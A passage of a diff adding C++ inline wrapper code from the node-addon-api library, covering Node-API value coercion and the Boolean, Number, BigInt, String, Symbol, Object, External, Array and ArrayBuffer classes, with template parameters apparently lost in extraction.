NODE_ADDON_API_ENABLE_TYPE_CHECK_ON_AS + T::CheckCast(_env, _value); +#endif + return T(_env, _value); +} + +inline MaybeOrValue Value::ToBoolean() const { + napi_value result; + napi_status status = napi_coerce_to_bool(_env, _value, &result); + NAPI_RETURN_OR_THROW_IF_FAILED( + _env, status, Napi::Boolean(_env, result), Napi::Boolean); +} + +inline MaybeOrValue Value::ToNumber() const { + napi_value result; + napi_status status = napi_coerce_to_number(_env, _value, &result); + NAPI_RETURN_OR_THROW_IF_FAILED( + _env, status, Napi::Number(_env, result), Napi::Number); +} + +inline MaybeOrValue Value::ToString() const { + napi_value result; + napi_status status = napi_coerce_to_string(_env, _value, &result); + NAPI_RETURN_OR_THROW_IF_FAILED( + _env, status, Napi::String(_env, result), Napi::String); +} + +inline MaybeOrValue Value::ToObject() const { + napi_value result; + napi_status status = napi_coerce_to_object(_env, _value, &result); + NAPI_RETURN_OR_THROW_IF_FAILED( + _env, status, Napi::Object(_env, result), Napi::Object); +} + +//////////////////////////////////////////////////////////////////////////////// +// Boolean class +//////////////////////////////////////////////////////////////////////////////// + +inline Boolean Boolean::New(napi_env env, bool val) { + napi_value value; + napi_status status = napi_get_boolean(env, val, &value); + NAPI_THROW_IF_FAILED(env, status, Boolean()); + return Boolean(env, value); +} + +inline void Boolean::CheckCast(napi_env env, napi_value value) { + NAPI_CHECK(value != nullptr, "Boolean::CheckCast", "empty value"); + + napi_valuetype type; + napi_status status = napi_typeof(env, value, &type); + NAPI_CHECK(status == napi_ok, "Boolean::CheckCast", "napi_typeof failed"); + NAPI_CHECK( + type == napi_boolean, "Boolean::CheckCast", "value is not napi_boolean"); +} + +inline Boolean::Boolean() : Napi::Value() {} + +inline Boolean::Boolean(napi_env env, napi_value value) + : Napi::Value(env, value) {} + +inline Boolean::operator bool() const { + return Value(); +} + +inline bool Boolean::Value() const { + bool result; + napi_status status = napi_get_value_bool(_env, _value, &result); + NAPI_THROW_IF_FAILED(_env, status, false); + return result; +} + +//////////////////////////////////////////////////////////////////////////////// +// Number class +//////////////////////////////////////////////////////////////////////////////// + +inline Number Number::New(napi_env env, double val) { + napi_value value; + napi_status status = napi_create_double(env, val, &value); + NAPI_THROW_IF_FAILED(env, status, Number()); + return Number(env, value); +} + +inline void Number::CheckCast(napi_env env, napi_value value) { + NAPI_CHECK(value != nullptr, "Number::CheckCast", "empty value"); + + napi_valuetype type; + napi_status status = napi_typeof(env, value, &type); + NAPI_CHECK(status == napi_ok, "Number::CheckCast", "napi_typeof failed"); + NAPI_CHECK( + type == napi_number, "Number::CheckCast", "value is not napi_number"); +} + +inline Number::Number() : Value() {} + +inline Number::Number(napi_env env, napi_value value) : Value(env, value) {} + +inline Number::operator int32_t() const { + return Int32Value(); +} + +inline Number::operator uint32_t() const { + return Uint32Value(); +} + +inline Number::operator int64_t() const { + return Int64Value(); +} + +inline Number::operator float() const { + return FloatValue(); +} + +inline Number::operator double() const { + return DoubleValue(); +} + +inline int32_t Number::Int32Value() const { + int32_t result; + napi_status status = napi_get_value_int32(_env, _value, &result); + NAPI_THROW_IF_FAILED(_env, status, 0); + return result; +} + +inline uint32_t Number::Uint32Value() const { + uint32_t result; + napi_status status = napi_get_value_uint32(_env, _value, &result); + NAPI_THROW_IF_FAILED(_env, status, 0); + return result; +} + +inline int64_t Number::Int64Value() const { + int64_t result; + napi_status status = napi_get_value_int64(_env, _value, &result); + NAPI_THROW_IF_FAILED(_env, status, 0); + return result; +} + +inline float Number::FloatValue() const { + return static_cast(DoubleValue()); +} + +inline double Number::DoubleValue() const { + double result; + napi_status status = napi_get_value_double(_env, _value, &result); + NAPI_THROW_IF_FAILED(_env, status, 0); + return result; +} + +#if NAPI_VERSION > 5 +//////////////////////////////////////////////////////////////////////////////// +// BigInt Class +//////////////////////////////////////////////////////////////////////////////// + +inline BigInt BigInt::New(napi_env env, int64_t val) { + napi_value value; + napi_status status = napi_create_bigint_int64(env, val, &value); + NAPI_THROW_IF_FAILED(env, status, BigInt()); + return BigInt(env, value); +} + +inline BigInt BigInt::New(napi_env env, uint64_t val) { + napi_value value; + napi_status status = napi_create_bigint_uint64(env, val, &value); + NAPI_THROW_IF_FAILED(env, status, BigInt()); + return BigInt(env, value); +} + +inline BigInt BigInt::New(napi_env env, + int sign_bit, + size_t word_count, + const uint64_t* words) { + napi_value value; + napi_status status = + napi_create_bigint_words(env, sign_bit, word_count, words, &value); + NAPI_THROW_IF_FAILED(env, status, BigInt()); + return BigInt(env, value); +} + +inline void BigInt::CheckCast(napi_env env, napi_value value) { + NAPI_CHECK(value != nullptr, "BigInt::CheckCast", "empty value"); + + napi_valuetype type; + napi_status status = napi_typeof(env, value, &type); + NAPI_CHECK(status == napi_ok, "BigInt::CheckCast", "napi_typeof failed"); + NAPI_CHECK( + type == napi_bigint, "BigInt::CheckCast", "value is not napi_bigint"); +} + +inline BigInt::BigInt() : Value() {} + +inline BigInt::BigInt(napi_env env, napi_value value) : Value(env, value) {} + +inline int64_t BigInt::Int64Value(bool* lossless) const { + int64_t result; + napi_status status = + napi_get_value_bigint_int64(_env, _value, &result, lossless); + NAPI_THROW_IF_FAILED(_env, status, 0); + return result; +} + +inline uint64_t BigInt::Uint64Value(bool* lossless) const { + uint64_t result; + napi_status status = + napi_get_value_bigint_uint64(_env, _value, &result, lossless); + NAPI_THROW_IF_FAILED(_env, status, 0); + return result; +} + +inline size_t BigInt::WordCount() const { + size_t word_count; + napi_status status = + napi_get_value_bigint_words(_env, _value, nullptr, &word_count, nullptr); + NAPI_THROW_IF_FAILED(_env, status, 0); + return word_count; +} + +inline void BigInt::ToWords(int* sign_bit, + size_t* word_count, + uint64_t* words) { + napi_status status = + napi_get_value_bigint_words(_env, _value, sign_bit, word_count, words); + NAPI_THROW_IF_FAILED_VOID(_env, status); +} +#endif // NAPI_VERSION > 5 + +#if (NAPI_VERSION > 4) +//////////////////////////////////////////////////////////////////////////////// +// Date Class +//////////////////////////////////////////////////////////////////////////////// + +inline Date Date::New(napi_env env, double val) { + napi_value value; + napi_status status = napi_create_date(env, val, &value); + NAPI_THROW_IF_FAILED(env, status, Date()); + return Date(env, value); +} + +inline void Date::CheckCast(napi_env env, napi_value value) { + NAPI_CHECK(value != nullptr, "Date::CheckCast", "empty value"); + + bool result; + napi_status status = napi_is_date(env, value, &result); + NAPI_CHECK(status == napi_ok, "Date::CheckCast", "napi_is_date failed"); + NAPI_CHECK(result, "Date::CheckCast", "value is not date"); +} + +inline Date::Date() : Value() {} + +inline Date::Date(napi_env env, napi_value value) : Value(env, value) {} + +inline Date::operator double() const { + return ValueOf(); +} + +inline double Date::ValueOf() const { + double result; + napi_status status = napi_get_date_value(_env, _value, &result); + NAPI_THROW_IF_FAILED(_env, status, 0); + return result; +} +#endif + +//////////////////////////////////////////////////////////////////////////////// +// Name class +//////////////////////////////////////////////////////////////////////////////// +inline void Name::CheckCast(napi_env env, napi_value value) { + NAPI_CHECK(value != nullptr, "Name::CheckCast", "empty value"); + + napi_valuetype type; + napi_status status = napi_typeof(env, value, &type); + NAPI_CHECK(status == napi_ok, "Name::CheckCast", "napi_typeof failed"); + NAPI_CHECK(type == napi_string || type == napi_symbol, + "Name::CheckCast", + "value is not napi_string or napi_symbol"); +} + +inline Name::Name() : Value() {} + +inline Name::Name(napi_env env, napi_value value) : Value(env, value) {} + +//////////////////////////////////////////////////////////////////////////////// +// String class +//////////////////////////////////////////////////////////////////////////////// + +inline String String::New(napi_env env, const std::string& val) { + return String::New(env, val.c_str(), val.size()); +} + +inline String String::New(napi_env env, const std::u16string& val) { + return String::New(env, val.c_str(), val.size()); +} + +inline String String::New(napi_env env, const char* val) { + // TODO(@gabrielschulhof) Remove if-statement when core's error handling is + // available in all supported versions. + if (val == nullptr) { + // Throw an error that looks like it came from core. + NAPI_THROW_IF_FAILED(env, napi_invalid_arg, String()); + } + napi_value value; + napi_status status = + napi_create_string_utf8(env, val, std::strlen(val), &value); + NAPI_THROW_IF_FAILED(env, status, String()); + return String(env, value); +} + +inline String String::New(napi_env env, const char16_t* val) { + napi_value value; + // TODO(@gabrielschulhof) Remove if-statement when core's error handling is + // available in all supported versions. + if (val == nullptr) { + // Throw an error that looks like it came from core. + NAPI_THROW_IF_FAILED(env, napi_invalid_arg, String()); + } + napi_status status = + napi_create_string_utf16(env, val, std::u16string(val).size(), &value); + NAPI_THROW_IF_FAILED(env, status, String()); + return String(env, value); +} + +inline String String::New(napi_env env, const char* val, size_t length) { + napi_value value; + napi_status status = napi_create_string_utf8(env, val, length, &value); + NAPI_THROW_IF_FAILED(env, status, String()); + return String(env, value); +} + +inline String String::New(napi_env env, const char16_t* val, size_t length) { + napi_value value; + napi_status status = napi_create_string_utf16(env, val, length, &value); + NAPI_THROW_IF_FAILED(env, status, String()); + return String(env, value); +} + +inline void String::CheckCast(napi_env env, napi_value value) { + NAPI_CHECK(value != nullptr, "String::CheckCast", "empty value"); + + napi_valuetype type; + napi_status status = napi_typeof(env, value, &type); + NAPI_CHECK(status == napi_ok, "String::CheckCast", "napi_typeof failed"); + NAPI_CHECK( + type == napi_string, "String::CheckCast", "value is not napi_string"); +} + +inline String::String() : Name() {} + +inline String::String(napi_env env, napi_value value) : Name(env, value) {} + +inline String::operator std::string() const { + return Utf8Value(); +} + +inline String::operator std::u16string() const { + return Utf16Value(); +} + +inline std::string String::Utf8Value() const { + size_t length; + napi_status status = + napi_get_value_string_utf8(_env, _value, nullptr, 0, &length); + NAPI_THROW_IF_FAILED(_env, status, ""); + + std::string value; + value.reserve(length + 1); + value.resize(length); + status = napi_get_value_string_utf8( + _env, _value, &value[0], value.capacity(), nullptr); + NAPI_THROW_IF_FAILED(_env, status, ""); + return value; +} + +inline std::u16string String::Utf16Value() const { + size_t length; + napi_status status = + napi_get_value_string_utf16(_env, _value, nullptr, 0, &length); + NAPI_THROW_IF_FAILED(_env, status, NAPI_WIDE_TEXT("")); + + std::u16string value; + value.reserve(length + 1); + value.resize(length); + status = napi_get_value_string_utf16( + _env, _value, &value[0], value.capacity(), nullptr); + NAPI_THROW_IF_FAILED(_env, status, NAPI_WIDE_TEXT("")); + return value; +} + +//////////////////////////////////////////////////////////////////////////////// +// Symbol class +//////////////////////////////////////////////////////////////////////////////// + +inline Symbol Symbol::New(napi_env env, const char* description) { + napi_value descriptionValue = description != nullptr + ? String::New(env, description) + : static_cast(nullptr); + return Symbol::New(env, descriptionValue); +} + +inline Symbol Symbol::New(napi_env env, const std::string& description) { + napi_value descriptionValue = String::New(env, description); + return Symbol::New(env, descriptionValue); +} + +inline Symbol Symbol::New(napi_env env, String description) { + napi_value descriptionValue = description; + return Symbol::New(env, descriptionValue); +} + +inline Symbol Symbol::New(napi_env env, napi_value description) { + napi_value value; + napi_status status = napi_create_symbol(env, description, &value); + NAPI_THROW_IF_FAILED(env, status, Symbol()); + return Symbol(env, value); +} + +inline MaybeOrValue Symbol::WellKnown(napi_env env, + const std::string& name) { +#if defined(NODE_ADDON_API_ENABLE_MAYBE) + Value symbol_obj; + Value symbol_value; + if (Napi::Env(env).Global().Get("Symbol").UnwrapTo(&symbol_obj) && + symbol_obj.As().Get(name).UnwrapTo(&symbol_value)) { + return Just(symbol_value.As()); + } + return Nothing(); +#else + return Napi::Env(env) + .Global() + .Get("Symbol") + .As() + .Get(name) + .As(); +#endif +} + +inline MaybeOrValue Symbol::For(napi_env env, + const std::string& description) { + napi_value descriptionValue = String::New(env, description); + return Symbol::For(env, descriptionValue); +} + +inline MaybeOrValue Symbol::For(napi_env env, const char* description) { + napi_value descriptionValue = String::New(env, description); + return Symbol::For(env, descriptionValue); +} + +inline MaybeOrValue Symbol::For(napi_env env, String description) { + return Symbol::For(env, static_cast(description)); +} + +inline MaybeOrValue Symbol::For(napi_env env, napi_value description) { +#if defined(NODE_ADDON_API_ENABLE_MAYBE) + Value symbol_obj; + Value symbol_for_value; + Value symbol_value; + if (Napi::Env(env).Global().Get("Symbol").UnwrapTo(&symbol_obj) && + symbol_obj.As().Get("for").UnwrapTo(&symbol_for_value) && + symbol_for_value.As() + .Call(symbol_obj, {description}) + .UnwrapTo(&symbol_value)) { + return Just(symbol_value.As()); + } + return Nothing(); +#else + Object symbol_obj = Napi::Env(env).Global().Get("Symbol").As(); + return symbol_obj.Get("for") + .As() + .Call(symbol_obj, {description}) + .As(); +#endif +} + +inline void Symbol::CheckCast(napi_env env, napi_value value) { + NAPI_CHECK(value != nullptr, "Symbol::CheckCast", "empty value"); + + napi_valuetype type; + napi_status status = napi_typeof(env, value, &type); + NAPI_CHECK(status == napi_ok, "Symbol::CheckCast", "napi_typeof failed"); + NAPI_CHECK( + type == napi_symbol, "Symbol::CheckCast", "value is not napi_symbol"); +} + +inline Symbol::Symbol() : Name() {} + +inline Symbol::Symbol(napi_env env, napi_value value) : Name(env, value) {} + +//////////////////////////////////////////////////////////////////////////////// +// Automagic value creation +//////////////////////////////////////////////////////////////////////////////// + +namespace details { +template +struct vf_number { + static Number From(napi_env env, T value) { + return Number::New(env, static_cast(value)); + } +}; + +template <> +struct vf_number { + static Boolean From(napi_env env, bool value) { + return Boolean::New(env, value); + } +}; + +struct vf_utf8_charp { + static String From(napi_env env, const char* value) { + return String::New(env, value); + } +}; + +struct vf_utf16_charp { + static String From(napi_env env, const char16_t* value) { + return String::New(env, value); + } +}; +struct vf_utf8_string { + static String From(napi_env env, const std::string& value) { + return String::New(env, value); + } +}; + +struct vf_utf16_string { + static String From(napi_env env, const std::u16string& value) { + return String::New(env, value); + } +}; + +template +struct vf_fallback { + static Value From(napi_env env, const T& value) { return Value(env, value); } +}; + +template +struct disjunction : std::false_type {}; +template +struct disjunction : B {}; +template +struct disjunction + : std::conditional>::type {}; + +template +struct can_make_string + : disjunction::type, + typename std::is_convertible::type, + typename std::is_convertible::type, + typename std::is_convertible::type> {}; +} // namespace details + +template +Value Value::From(napi_env env, const T& value) { + using Helper = typename std::conditional< + std::is_integral::value || std::is_floating_point::value, + details::vf_number, + typename std::conditional::value, + String, + details::vf_fallback>::type>::type; + return Helper::From(env, value); +} + +template +String String::From(napi_env env, const T& value) { + struct Dummy {}; + using Helper = typename std::conditional< + std::is_convertible::value, + details::vf_utf8_charp, + typename std::conditional< + std::is_convertible::value, + details::vf_utf16_charp, + typename std::conditional< + std::is_convertible::value, + details::vf_utf8_string, + typename std::conditional< + std::is_convertible::value, + details::vf_utf16_string, + Dummy>::type>::type>::type>::type; + return Helper::From(env, value); +} + +//////////////////////////////////////////////////////////////////////////////// +// TypeTaggable class +//////////////////////////////////////////////////////////////////////////////// + +inline TypeTaggable::TypeTaggable() : Value() {} + +inline TypeTaggable::TypeTaggable(napi_env _env, napi_value _value) + : Value(_env, _value) {} + +#if NAPI_VERSION >= 8 + +inline void TypeTaggable::TypeTag(const napi_type_tag* type_tag) const { + napi_status status = napi_type_tag_object(_env, _value, type_tag); + NAPI_THROW_IF_FAILED_VOID(_env, status); +} + +inline bool TypeTaggable::CheckTypeTag(const napi_type_tag* type_tag) const { + bool result; + napi_status status = + napi_check_object_type_tag(_env, _value, type_tag, &result); + NAPI_THROW_IF_FAILED(_env, status, false); + return result; +} + +#endif // NAPI_VERSION >= 8 + +//////////////////////////////////////////////////////////////////////////////// +// Object class +//////////////////////////////////////////////////////////////////////////////// + +template +inline Object::PropertyLValue::operator Value() const { + MaybeOrValue val = Object(_env, _object).Get(_key); +#ifdef NODE_ADDON_API_ENABLE_MAYBE + return val.Unwrap(); +#else + return val; +#endif +} + +template +template +inline Object::PropertyLValue& Object::PropertyLValue::operator=( + ValueType value) { +#ifdef NODE_ADDON_API_ENABLE_MAYBE + MaybeOrValue result = +#endif + Object(_env, _object).Set(_key, value); +#ifdef NODE_ADDON_API_ENABLE_MAYBE + result.Unwrap(); +#endif + return *this; +} + +template +inline Object::PropertyLValue::PropertyLValue(Object object, Key key) + : _env(object.Env()), _object(object), _key(key) {} + +inline Object Object::New(napi_env env) { + napi_value value; + napi_status status = napi_create_object(env, &value); + NAPI_THROW_IF_FAILED(env, status, Object()); + return Object(env, value); +} + +inline void Object::CheckCast(napi_env env, napi_value value) { + NAPI_CHECK(value != nullptr, "Object::CheckCast", "empty value"); + + napi_valuetype type; + napi_status status = napi_typeof(env, value, &type); + NAPI_CHECK(status == napi_ok, "Object::CheckCast", "napi_typeof failed"); + NAPI_CHECK( + type == napi_object, "Object::CheckCast", "value is not napi_object"); +} + +inline Object::Object() : TypeTaggable() {} + +inline Object::Object(napi_env env, napi_value value) + : TypeTaggable(env, value) {} + +inline Object::PropertyLValue Object::operator[]( + const char* utf8name) { + return PropertyLValue(*this, utf8name); +} + +inline Object::PropertyLValue Object::operator[]( + const std::string& utf8name) { + return PropertyLValue(*this, utf8name); +} + +inline Object::PropertyLValue Object::operator[](uint32_t index) { + return PropertyLValue(*this, index); +} + +inline Object::PropertyLValue Object::operator[](Value index) const { + return PropertyLValue(*this, index); +} + +inline MaybeOrValue Object::operator[](const char* utf8name) const { + return Get(utf8name); +} + +inline MaybeOrValue Object::operator[]( + const std::string& utf8name) const { + return Get(utf8name); +} + +inline MaybeOrValue Object::operator[](uint32_t index) const { + return Get(index); +} + +inline MaybeOrValue Object::Has(napi_value key) const { + bool result; + napi_status status = napi_has_property(_env, _value, key, &result); + NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, result, bool); +} + +inline MaybeOrValue Object::Has(Value key) const { + bool result; + napi_status status = napi_has_property(_env, _value, key, &result); + NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, result, bool); +} + +inline MaybeOrValue Object::Has(const char* utf8name) const { + bool result; + napi_status status = napi_has_named_property(_env, _value, utf8name, &result); + NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, result, bool); +} + +inline MaybeOrValue Object::Has(const std::string& utf8name) const { + return Has(utf8name.c_str()); +} + +inline MaybeOrValue Object::HasOwnProperty(napi_value key) const { + bool result; + napi_status status = napi_has_own_property(_env, _value, key, &result); + NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, result, bool); +} + +inline MaybeOrValue Object::HasOwnProperty(Value key) const { + bool result; + napi_status status = napi_has_own_property(_env, _value, key, &result); + NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, result, bool); +} + +inline MaybeOrValue Object::HasOwnProperty(const char* utf8name) const { + napi_value key; + napi_status status = + napi_create_string_utf8(_env, utf8name, std::strlen(utf8name), &key); + NAPI_MAYBE_THROW_IF_FAILED(_env, status, bool); + return HasOwnProperty(key); +} + +inline MaybeOrValue Object::HasOwnProperty( + const std::string& utf8name) const { + return HasOwnProperty(utf8name.c_str()); +} + +inline MaybeOrValue Object::Get(napi_value key) const { + napi_value result; + napi_status status = napi_get_property(_env, _value, key, &result); + NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, Value(_env, result), Value); +} + +inline MaybeOrValue Object::Get(Value key) const { + napi_value result; + napi_status status = napi_get_property(_env, _value, key, &result); + NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, Value(_env, result), Value); +} + +inline MaybeOrValue Object::Get(const char* utf8name) const { + napi_value result; + napi_status status = napi_get_named_property(_env, _value, utf8name, &result); + NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, Value(_env, result), Value); +} + +inline MaybeOrValue Object::Get(const std::string& utf8name) const { + return Get(utf8name.c_str()); +} + +template +inline MaybeOrValue Object::Set(napi_value key, + const ValueType& value) const { + napi_status status = + napi_set_property(_env, _value, key, Value::From(_env, value)); + NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, status == napi_ok, bool); +} + +template +inline MaybeOrValue Object::Set(Value key, const ValueType& value) const { + napi_status status = + napi_set_property(_env, _value, key, Value::From(_env, value)); + NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, status == napi_ok, bool); +} + +template +inline MaybeOrValue Object::Set(const char* utf8name, + const ValueType& value) const { + napi_status status = + napi_set_named_property(_env, _value, utf8name, Value::From(_env, value)); + NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, status == napi_ok, bool); +} + +template +inline MaybeOrValue Object::Set(const std::string& utf8name, + const ValueType& value) const { + return Set(utf8name.c_str(), value); +} + +inline MaybeOrValue Object::Delete(napi_value key) const { + bool result; + napi_status status = napi_delete_property(_env, _value, key, &result); + NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, result, bool); +} + +inline MaybeOrValue Object::Delete(Value key) const { + bool result; + napi_status status = napi_delete_property(_env, _value, key, &result); + NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, result, bool); +} + +inline MaybeOrValue Object::Delete(const char* utf8name) const { + return Delete(String::New(_env, utf8name)); +} + +inline MaybeOrValue Object::Delete(const std::string& utf8name) const { + return Delete(String::New(_env, utf8name)); +} + +inline MaybeOrValue Object::Has(uint32_t index) const { + bool result; + napi_status status = napi_has_element(_env, _value, index, &result); + NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, result, bool); +} + +inline MaybeOrValue Object::Get(uint32_t index) const { + napi_value value; + napi_status status = napi_get_element(_env, _value, index, &value); + NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, Value(_env, value), Value); +} + +template +inline MaybeOrValue Object::Set(uint32_t index, + const ValueType& value) const { + napi_status status = + napi_set_element(_env, _value, index, Value::From(_env, value)); + NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, status == napi_ok, bool); +} + +inline MaybeOrValue Object::Delete(uint32_t index) const { + bool result; + napi_status status = napi_delete_element(_env, _value, index, &result); + NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, result, bool); +} + +inline MaybeOrValue Object::GetPropertyNames() const { + napi_value result; + napi_status status = napi_get_property_names(_env, _value, &result); + NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, Array(_env, result), Array); +} + +inline MaybeOrValue Object::DefineProperty( + const PropertyDescriptor& property) const { + napi_status status = napi_define_properties( + _env, + _value, + 1, + reinterpret_cast(&property)); + NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, status == napi_ok, bool); +} + +inline MaybeOrValue Object::DefineProperties( + const std::initializer_list& properties) const { + napi_status status = napi_define_properties( + _env, + _value, + properties.size(), + reinterpret_cast(properties.begin())); + NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, status == napi_ok, bool); +} + +inline MaybeOrValue Object::DefineProperties( + const std::vector& properties) const { + napi_status status = napi_define_properties( + _env, + _value, + properties.size(), + reinterpret_cast(properties.data())); + NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, status == napi_ok, bool); +} + +inline MaybeOrValue Object::InstanceOf( + const Function& constructor) const { + bool result; + napi_status status = napi_instanceof(_env, _value, constructor, &result); + NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, result, bool); +} + +template +inline void Object::AddFinalizer(Finalizer finalizeCallback, T* data) const { + details::FinalizeData* finalizeData = + new details::FinalizeData( + {std::move(finalizeCallback), nullptr}); + napi_status status = + details::AttachData(_env, + *this, + data, + details::FinalizeData::Wrapper, + finalizeData); + if (status != napi_ok) { + delete finalizeData; + NAPI_THROW_IF_FAILED_VOID(_env, status); + } +} + +template +inline void Object::AddFinalizer(Finalizer finalizeCallback, + T* data, + Hint* finalizeHint) const { + details::FinalizeData* finalizeData = + new details::FinalizeData( + {std::move(finalizeCallback), finalizeHint}); + napi_status status = details::AttachData( + _env, + *this, + data, + details::FinalizeData::WrapperWithHint, + finalizeData); + if (status != napi_ok) { + delete finalizeData; + NAPI_THROW_IF_FAILED_VOID(_env, status); + } +} + +#ifdef NAPI_CPP_EXCEPTIONS +inline Object::const_iterator::const_iterator(const Object* object, + const Type type) { + _object = object; + _keys = object->GetPropertyNames(); + _index = type == Type::BEGIN ? 0 : _keys.Length(); +} + +inline Object::const_iterator Napi::Object::begin() const { + const_iterator it(this, Object::const_iterator::Type::BEGIN); + return it; +} + +inline Object::const_iterator Napi::Object::end() const { + const_iterator it(this, Object::const_iterator::Type::END); + return it; +} + +inline Object::const_iterator& Object::const_iterator::operator++() { + ++_index; + return *this; +} + +inline bool Object::const_iterator::operator==( + const const_iterator& other) const { + return _index == other._index; +} + +inline bool Object::const_iterator::operator!=( + const const_iterator& other) const { + return _index != other._index; +} + +inline const std::pair> +Object::const_iterator::operator*() const { + const Value key = _keys[_index]; + const PropertyLValue value = (*_object)[key]; + return {key, value}; +} + +inline Object::iterator::iterator(Object* object, const Type type) { + _object = object; + _keys = object->GetPropertyNames(); + _index = type == Type::BEGIN ? 0 : _keys.Length(); +} + +inline Object::iterator Napi::Object::begin() { + iterator it(this, Object::iterator::Type::BEGIN); + return it; +} + +inline Object::iterator Napi::Object::end() { + iterator it(this, Object::iterator::Type::END); + return it; +} + +inline Object::iterator& Object::iterator::operator++() { + ++_index; + return *this; +} + +inline bool Object::iterator::operator==(const iterator& other) const { + return _index == other._index; +} + +inline bool Object::iterator::operator!=(const iterator& other) const { + return _index != other._index; +} + +inline std::pair> +Object::iterator::operator*() { + Value key = _keys[_index]; + PropertyLValue value = (*_object)[key]; + return {key, value}; +} +#endif // NAPI_CPP_EXCEPTIONS + +#if NAPI_VERSION >= 8 +inline MaybeOrValue Object::Freeze() const { + napi_status status = napi_object_freeze(_env, _value); + NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, status == napi_ok, bool); +} + +inline MaybeOrValue Object::Seal() const { + napi_status status = napi_object_seal(_env, _value); + NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, status == napi_ok, bool); +} +#endif // NAPI_VERSION >= 8 + +//////////////////////////////////////////////////////////////////////////////// +// External class +//////////////////////////////////////////////////////////////////////////////// + +template +inline External External::New(napi_env env, T* data) { + napi_value value; + napi_status status = + napi_create_external(env, data, nullptr, nullptr, &value); + NAPI_THROW_IF_FAILED(env, status, External()); + return External(env, value); +} + +template +template +inline External External::New(napi_env env, + T* data, + Finalizer finalizeCallback) { + napi_value value; + details::FinalizeData* finalizeData = + new details::FinalizeData( + {std::move(finalizeCallback), nullptr}); + napi_status status = + napi_create_external(env, + data, + details::FinalizeData::Wrapper, + finalizeData, + &value); + if (status != napi_ok) { + delete finalizeData; + NAPI_THROW_IF_FAILED(env, status, External()); + } + return External(env, value); +} + +template +template +inline External External::New(napi_env env, + T* data, + Finalizer finalizeCallback, + Hint* finalizeHint) { + napi_value value; + details::FinalizeData* finalizeData = + new details::FinalizeData( + {std::move(finalizeCallback), finalizeHint}); + napi_status status = napi_create_external( + env, + data, + details::FinalizeData::WrapperWithHint, + finalizeData, + &value); + if (status != napi_ok) { + delete finalizeData; + NAPI_THROW_IF_FAILED(env, status, External()); + } + return External(env, value); +} + +template +inline void External::CheckCast(napi_env env, napi_value value) { + NAPI_CHECK(value != nullptr, "External::CheckCast", "empty value"); + + napi_valuetype type; + napi_status status = napi_typeof(env, value, &type); + NAPI_CHECK(status == napi_ok, "External::CheckCast", "napi_typeof failed"); + NAPI_CHECK(type == napi_external, + "External::CheckCast", + "value is not napi_external"); +} + +template +inline External::External() : TypeTaggable() {} + +template +inline External::External(napi_env env, napi_value value) + : TypeTaggable(env, value) {} + +template +inline T* External::Data() const { + void* data; + napi_status status = napi_get_value_external(_env, _value, &data); + NAPI_THROW_IF_FAILED(_env, status, nullptr); + return reinterpret_cast(data); +} + +//////////////////////////////////////////////////////////////////////////////// +// Array class +//////////////////////////////////////////////////////////////////////////////// + +inline Array Array::New(napi_env env) { + napi_value value; + napi_status status = napi_create_array(env, &value); + NAPI_THROW_IF_FAILED(env, status, Array()); + return Array(env, value); +} + +inline Array Array::New(napi_env env, size_t length) { + napi_value value; + napi_status status = napi_create_array_with_length(env, length, &value); + NAPI_THROW_IF_FAILED(env, status, Array()); + return Array(env, value); +} + +inline void Array::CheckCast(napi_env env, napi_value value) { + NAPI_CHECK(value != nullptr, "Array::CheckCast", "empty value"); + + bool result; + napi_status status = napi_is_array(env, value, &result); + NAPI_CHECK(status == napi_ok, "Array::CheckCast", "napi_is_array failed"); + NAPI_CHECK(result, "Array::CheckCast", "value is not array"); +} + +inline Array::Array() : Object() {} + +inline Array::Array(napi_env env, napi_value value) : Object(env, value) {} + +inline uint32_t Array::Length() const { + uint32_t result; + napi_status status = napi_get_array_length(_env, _value, &result); + NAPI_THROW_IF_FAILED(_env, status, 0); + return result; +} + +//////////////////////////////////////////////////////////////////////////////// +// ArrayBuffer class +//////////////////////////////////////////////////////////////////////////////// + +inline ArrayBuffer ArrayBuffer::New(napi_env env, size_t byteLength) { + napi_value value; + void* data; + napi_status status = napi_create_arraybuffer(env, byteLength, &data, &value); + NAPI_THROW_IF_FAILED(env, status, ArrayBuffer()); + + return ArrayBuffer(env, value); +} + +#ifndef NODE_API_NO_EXTERNAL_BUFFERS_ALLOWED +inline ArrayBuffer ArrayBuffer::New(napi_env env, + void* externalData, + size_t byteLength) { + napi_value value; + napi_status status = napi_create_external_arraybuffer( + env, externalData, byteLength, nullptr, nullptr, &value); + NAPI_THROW_IF_FAILED(env, status, ArrayBuffer()); + + return ArrayBuffer(env, value); +} + +template +inline ArrayBuffer ArrayBuffer::New(napi_env env, + void* externalData, + size_t byteLength, + Finalizer finalizeCallback) { + napi_value value; + details::FinalizeData* finalizeData = + new details::FinalizeData( + {std::move(finalizeCallback), nullptr}); + napi_status status = napi_create_external_arraybuffer( + env, + externalData, + byteLength, + details::FinalizeData::Wrapper, + finalizeData, + &value); + if (status != napi_ok) { + delete finalizeData; + NAPI_THROW_IF_FAILED(env, status, ArrayBuffer()); + } + + return ArrayBuffer(env, value); +} + +template +inline ArrayBuffer ArrayBuffer::New(napi_env env, + void* externalData, + size_t byteLength, + Finalizer finalizeCallback, + Hint* finalizeHint) { + napi_value value; + details::FinalizeData* finalizeData = + new details::FinalizeData( + {std::move(finalizeCallback), finalizeHint}); + napi_status status = napi_create_external_arraybuffer( + env, + externalData, + byteLength, + 